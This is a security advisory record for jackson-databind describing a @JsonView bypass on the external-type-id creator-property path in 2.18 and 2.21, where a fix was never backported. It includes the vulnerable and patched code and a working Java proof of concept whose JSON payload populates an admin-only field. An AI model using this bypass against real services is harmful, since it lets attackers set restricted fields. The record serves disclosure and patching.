{ "schema_version": "1.4.0", "id": "GHSA-mhm7-754m-9p8w", "modified": "2026-07-21T19:40:12Z", "published": "2026-07-21T19:40:12Z", "aliases": [], "summary": "jackson-databind: `@JsonView` bypass for creator properties with `@JsonTypeInfo(include=As.EXTERNAL_PROPERTY)`", "details": "## Summary\n\nIn `BeanDeserializer.deserializeUsingPropertyBasedWithExternalTypeId`, the active-view (`@JsonView`) filter was applied only to the regular bean-property branch; the creator-property branch performed no `creatorProp.visibleInView(activeView)` check. A constructor parameter annotated with both `@JsonView(RestrictedView.class)` and `@JsonTypeInfo(use=Id.NAME,\n include=As.EXTERNAL_PROPERTY)` is populated from attacker JSON even when a more restrictive view is active.\n\n This is a patch gap. GHSA-5hh8 (CVE-2026-54517) and GHSA-rcqc (CVE-2026-54518) descriptions cover only the main property-based path and the unwrapped-creator path respectively; the external-type-id creator path was fixed on the 3.x line via #6004 (\"Extend #5969/#5971 fixes to ... external-type-id case in regular BeanDeserializer\", commit 7dc7a17, 2026-05-22) but\n **the fix was never backported to 2.21 or 2.18**. Users on 2.21.4 and 2.18.8 who upgraded per the published advisories remain vulnerable to the same `@JsonView` bypass technique via a different code path.\n\n## Vulnerable Code Path\n\nFile: `com/fasterxml/jackson/databind/deser/BeanDeserializer.java`\nMethod: `deserializeUsingPropertyBasedWithExternalTypeId`\n\nOn 2.21.4 (and 2.18.8), the creator-property branch (around line 1125-1158) checks `creatorProp.isInjectionOnly()` and hands off to `ext.handlePropertyValue(...)` / `buffer.assignParameter(...)` without ever consulting `visibleInView(activeView)`:\n\n ```java\n if (creatorProp != null) {\n // [databind#1381]: if useInput=FALSE, skip deserialization from input\n if (creatorProp.isInjectionOnly()) { ... }\n // NO visibleInView(activeView) CHECK HERE\n if (!ext.handlePropertyValue(p, ctxt, propName, null)) {\n if (buffer.assignParameter(creatorProp, ...)) { ... }\n }\n continue;\n }\n```\n\nOn 3.1.4, the same branch contains the additional guard (commit 7dc7a17):\n\n ```java\n if (creatorProp != null) {\n // [databind#5971]: must honor active view here too\n if ((activeView != null) && !creatorProp.visibleInView(activeView)) {\n p.skipChildren();\n continue;\n }\n ...\n }\n```\n\nThe 2.21 and 2.18 backport PRs (#6005 and #6003) only backported the main-path fixes from #5969/#5971; the external-type-id fix from #6004 was not backported. The maintainer closed #6005\n with \"got changes merged forward, looks like it's all covered now\", but the forward-merge did not include the ExtTypeId creator branch.\n\n Proof of Concept\n\n Compiles and runs against jackson-databind 2.21.4:\n \n```java\n import com.fasterxml.jackson.annotation.*;\n import com.fasterxml.jackson.databind.ObjectMapper;\n\n public class JsonViewExternalTypeIdBypass {\n public static class PublicView {}\n public static class AdminView extends PublicView {}\n\n public static abstract class Asset { public String name; }\n public static class PublicAsset extends Asset {}\n public static class AdminAsset extends Asset { public String secret; }\n\n public static class Container {\n @JsonTypeInfo(use = JsonTypeInfo.Id.NAME,\n include = JsonTypeInfo.As.EXTERNAL_PROPERTY,\n property = \"kind\")\n @JsonSubTypes({\n @JsonSubTypes.Type(value = PublicAsset.class, name = \"pub\"),\n @JsonSubTypes.Type(value = AdminAsset.class, name = \"admin\")\n })\n @JsonView(AdminView.class)\n public Asset asset;\n\n public String label;\n\n @JsonCreator\n public Container(\n @JsonProperty(\"label\") String label,\n @JsonProperty(\"asset\") @JsonView(AdminView.class) Asset asset) {\n this.label = label;\n this.asset = asset;\n }\n }\n\n public static class Wrapper {\n @JsonView(PublicView.class)\n public Container data;\n }\n\n public static void main(String[] args) throws Exception {\n // Admin-only \"asset\" should be blocked when reading with PublicView\n String json = \"{\\\"data\\\":{\\\"label\\\":\\\"hello\\\",\\\"kind\\\":\\\"admin\\\",\"\n + \"\\\"asset\\\":{\\\"name\\\":\\\"foo\\\",\\\"secret\\\":\\\"LEAKED\\\"}}}\";\n\n ObjectMapper om = new ObjectMapper();\n Wrapper r = om.readerWithView(PublicView.class)\n .forType(Wrapper.class)\n .readValue(json);\n\n System.out.println(r.data);\n // Actual on 2.21.4: Container{label='hello', asset=AdminAsset{name='foo', secret='LEAKED'}}\n // Expected (secure): Container{label='hello', asset=null}\n if (r.data.asset != null && r.data.asset instanceof AdminAsset) {\n System.out.println(\"[!!] BYPASS CONFIRMED — admin-only asset populated under PublicView\");\n }\n }\n }\n```\n\nA control case that removes include = As.EXTERNAL_PROPERTY (forcing the normal property-based path) correctly returns asset = null, confirming the bypass is specific to the ExternalTypeId\n code path and not a misconfiguration.\n\n### Impact\n\n View-restricted (e.g. admin-only) creator properties can be populated from untrusted input where @JsonView is used as a write-side authorization boundary. Typical victims are Spring Boot\n REST controllers that use @JsonView(PublicView.class) on the request body to whitelist user-settable fields — an attacker can inject the restricted creator parameter (including choosing\n the polymorphic subtype via the sibling kind/type-id property) by combining it with a polymorphic @JsonTypeInfo(EXTERNAL_PROPERTY) annotation on the same field.\n\n- CWE-863 (Incorrect Authorization)\n- Same impact class as CVE-2026-54517 / CVE-2026-54518\n- No RCE, no DoS — this is an access-control / mass-assignment bypass\n\n### Trigger Conditions\n\nDeveloper code must combine (no opt-in user configuration required):\n\n1. Property-based @JsonCreator on the outer type\n2. A creator parameter annotated with @JsonView(RestrictedView.class)\n3. The same parameter annotated with @JsonTypeInfo(use=Id.NAME, include=As.EXTERNAL_PROPERTY, property=\"...\")", "severity": [ { "type": "CVSS_V3", "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N" } ], "affected": [ { "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.18.0" }, { "fixed": "2.18.9" } ] } ], "database_specific": { "last_known_affected_version_range": "<= 2.18.8" } }, { "package": { "ecosystem": "Maven", "name": "com.fasterxml.jackson.core:jackson-databind" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "2.21.0" }, { "fixed": "2.21.5" } ] } ], "database_specific": { "last_known_affected_version_range": "<= 2.21.4" } } ], "references": [ { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-mhm7-754m-9p8w" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/c628b357ed143d8492756d5c1458cfb9fbeb29ed" }, { "type": "WEB", "url": "https://github.com/FasterXML/jackson-databind/commit/dea7eb466e98cc226c4ac65587581fb49926820c" }, { "type": "PACKAGE", "url": "https://github.com/FasterXML/jackson-databind" } ], "database_specific": { "cwe_ids": [ "CWE-863" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2026-07-21T19:40:12Z", "nvd_published_at": null } }